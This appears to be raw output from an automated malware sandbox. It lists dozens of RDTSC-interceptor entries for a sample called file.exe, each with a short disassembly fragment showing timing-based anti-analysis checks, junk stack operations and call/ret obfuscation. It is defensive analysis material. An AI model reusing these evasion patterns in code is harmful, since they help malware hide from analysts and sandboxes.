Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C20D second address: 109C211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C211 second address: 109C224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FF0E0BA4D96h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C224 second address: 109C229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C7C8 second address: 109C80F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FF0E0BA4D9Ch 0x0000000f jnp 00007FF0E0BA4DA2h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF0E0BA4DA6h 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C7F1 second address: 109C80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FF0E079F166h 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C965 second address: 109C97E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 js 00007FF0E0BA4D9Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C97E second address: 109C982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C982 second address: 109C986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C986 second address: 109C9B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF0E079F156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007FF0E079F16Fh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C9B4 second address: 109C9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C9BA second address: 109C9C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CB06 second address: 109CB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CDF9 second address: 109CDFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D06F second address: 109D08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0E0BA4DA8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D1DC second address: 109D1F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10959F9 second address: 10959FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10959FF second address: 1095A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074B5F second address: 1074B65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109DDAE second address: 109DDC7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FF0E079F15Ah 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109DDC7 second address: 109DDF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF0E0BA4DA8h 0x0000000d jl 00007FF0E0BA4D9Eh 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3BC7 second address: 10A3BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8F97 second address: 10A8F9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F84B second address: 106F854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A871A second address: 10A8720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8CCC second address: 10A8CD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8CD2 second address: 10A8CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8E23 second address: 10A8E3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E079F163h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8E3C second address: 10A8E58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF0E0BA4D9Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AAD10 second address: 10AAD1A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF0E079F156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC32E second address: 10AC333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC333 second address: 10AC339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC625 second address: 10AC62B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC62B second address: 10AC643 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC7F9 second address: 10AC818 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF0E0BA4DA3h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC818 second address: 10AC81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACCFC second address: 10ACD07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF0E0BA4D96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACD56 second address: 10ACD5C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACD5C second address: 10ACD66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FF0E0BA4D96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACD66 second address: 10ACDA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FF0E079F158h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push ebx 0x0000002c push edx 0x0000002d pop edx 0x0000002e pop ebx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACF6D second address: 10ACF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD164 second address: 10AD18C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF0E079F15Ch 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF0E079F15Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD18C second address: 10AD192 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD192 second address: 10AD1AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E079F165h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD34A second address: 10AD374 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF0E0BA4D9Eh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jp 00007FF0E0BA4D9Ch 0x00000013 jc 00007FF0E0BA4D9Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE093 second address: 10AE09D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FF0E079F156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF241 second address: 10AF24B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF0E0BA4D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF24B second address: 10AF2AB instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0E079F160h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D299Dh] 0x00000011 je 00007FF0E079F15Ch 0x00000017 sbb esi, 560E9299h 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 xchg eax, ebx 0x00000022 jnl 00007FF0E079F168h 0x00000028 push eax 0x00000029 pushad 0x0000002a jmp 00007FF0E079F15Dh 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FF0E079F15Bh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AFD0E second address: 10AFDA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007FF0E0BA4D98h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 0000001Ah 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 xor esi, dword ptr [ebp+122D2A69h] 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007FF0E0BA4D98h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 0000001Dh 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 mov di, 505Ah 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push edi 0x0000004c call 00007FF0E0BA4D98h 0x00000051 pop edi 0x00000052 mov dword ptr [esp+04h], edi 0x00000056 add dword ptr [esp+04h], 0000001Ch 0x0000005e inc edi 0x0000005f push edi 0x00000060 ret 0x00000061 pop edi 0x00000062 ret 0x00000063 add edi, dword ptr [ebp+122D2AD9h] 0x00000069 push eax 0x0000006a jng 00007FF0E0BA4DA4h 0x00000070 push eax 0x00000071 push edx 0x00000072 jne 00007FF0E0BA4D96h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0798 second address: 10B079C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B079C second address: 10B0821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FF0E0BA4D98h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 jnp 00007FF0E0BA4D97h 0x0000002a stc 0x0000002b call 00007FF0E0BA4DA3h 0x00000030 mov dword ptr [ebp+122D34ACh], ebx 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007FF0E0BA4D98h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 00000016h 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 xor dword ptr [ebp+122D2D00h], esi 0x00000059 push 00000000h 0x0000005b push eax 0x0000005c sub di, C4ECh 0x00000061 pop esi 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 jg 00007FF0E0BA4D96h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B131F second address: 10B1323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1CD5 second address: 10B1CE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1CE4 second address: 10B1CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B23FF second address: 10B2405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7D83 second address: 10B7D89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7D89 second address: 10B7DE4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF0E0BA4D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, 4801D708h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FF0E0BA4D98h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D22F9h], ecx 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+124487C7h], edi 0x0000003c xchg eax, esi 0x0000003d je 00007FF0E0BA4DB4h 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FF0E0BA4DA2h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7DE4 second address: 10B7DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9E34 second address: 10B9E5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA3h 0x00000007 jnc 00007FF0E0BA4D96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF0E0BA4D9Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7F40 second address: 10B7F44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9E5E second address: 10B9E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9E62 second address: 10B9E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7F44 second address: 10B7F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF0E0BA4DA3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9E68 second address: 10B9E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9E6E second address: 10B9E9A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0E0BA4DA7h 0x00000008 jmp 00007FF0E0BA4DA1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 ja 00007FF0E0BA4D98h 0x00000016 push eax 0x00000017 push edx 0x00000018 jg 00007FF0E0BA4D96h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8065 second address: 10B806A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA483 second address: 10BA4D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FF0E0BA4D98h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D2B15h] 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D2681h], edi 0x00000034 xchg eax, esi 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FF0E0BA4D9Ah 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA4D6 second address: 10BA4F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA4F2 second address: 10BA513 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF0E0BA4D9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jp 00007FF0E0BA4D96h 0x00000014 jbe 00007FF0E0BA4D96h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BB3D0 second address: 10BB403 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 js 00007FF0E079F156h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007FF0E079F15Fh 0x00000014 push 00000000h 0x00000016 mov bx, 86ABh 0x0000001a push 00000000h 0x0000001c or dword ptr [ebp+122D230Ch], ebx 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push ecx 0x00000026 pushad 0x00000027 popad 0x00000028 pop ecx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA662 second address: 10BA666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA6FE second address: 10BA704 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD3AC second address: 10BD3C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BB553 second address: 10BB604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FF0E079F168h 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FF0E079F158h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 jng 00007FF0E079F15Ch 0x0000002c mov ebx, dword ptr [ebp+122D2A65h] 0x00000032 push dword ptr fs:[00000000h] 0x00000039 jg 00007FF0E079F15Ch 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 jmp 00007FF0E079F167h 0x0000004b mov eax, dword ptr [ebp+122D061Dh] 0x00000051 movsx ebx, si 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push eax 0x00000059 call 00007FF0E079F158h 0x0000005e pop eax 0x0000005f mov dword ptr [esp+04h], eax 0x00000063 add dword ptr [esp+04h], 0000001Ah 0x0000006b inc eax 0x0000006c push eax 0x0000006d ret 0x0000006e pop eax 0x0000006f ret 0x00000070 cmc 0x00000071 mov bx, di 0x00000074 push eax 0x00000075 push esi 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEC93 second address: 10BEC97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEC97 second address: 10BED64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F164h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b call 00007FF0E079F160h 0x00000010 mov edi, 72978AF1h 0x00000015 pop ebx 0x00000016 push dword ptr fs:[00000000h] 0x0000001d jmp 00007FF0E079F15Eh 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 movsx ebx, cx 0x0000002c mov eax, dword ptr [ebp+122D1365h] 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007FF0E079F158h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c jmp 00007FF0E079F165h 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push edx 0x00000056 call 00007FF0E079F158h 0x0000005b pop edx 0x0000005c mov dword ptr [esp+04h], edx 0x00000060 add dword ptr [esp+04h], 0000001Dh 0x00000068 inc edx 0x00000069 push edx 0x0000006a ret 0x0000006b pop edx 0x0000006c ret 0x0000006d mov ebx, dword ptr [ebp+122D2A45h] 0x00000073 nop 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007FF0E079F160h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BED64 second address: 10BED7A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0E0BA4D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007FF0E0BA4D96h 0x00000016 rdtsc
